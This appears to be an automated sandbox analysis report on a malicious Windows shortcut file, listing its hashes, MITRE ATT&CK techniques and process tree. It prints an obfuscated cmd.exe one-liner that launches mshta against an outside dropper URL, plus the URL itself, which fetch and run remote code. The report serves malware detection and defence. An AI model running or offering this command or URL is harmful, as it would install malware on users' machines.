a3dc3de22d8c86ff3c47069abf0804f9e08dab1a5de717cc5d2d0e9a2e558244

Analysis

max time kernel
148s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-KI69H3.lnk
Size 1KB
Sample260804-j9gcbavelf
SHA256 a3dc3de22d8c86ff3c47069abf0804f9e08dab1a5de717cc5d2d0e9a2e558244
MD5 293b31729c93f72125b74dd6dc249c01
SHA1 b5c332d7f9eabd67ecb2833e195c37fc5e4ae497
SHA512 0b3730cfed0e924c30c6f67f84f7dda163ab545156a529f5cf72b5b2b105e2b08dae4a2092b0f5e9f6524588a58df165005cb7b667ccd8904a333d33b299ca30
TLSH
T17A3197403FFE0664F3B78E7394BB5B2085BEB8658D21C62D4080460C5433A16E13AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1248	cmd.exe
5444	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1248 wrote to memory of 5444	1248	cmd.exe	90
PID 5444 wrote to memory of 4080	5444	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KI69H3.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1248
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set xKDmp=msh&&set rdBma=ta&&start "" !xKDmp!!rdBma! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5444
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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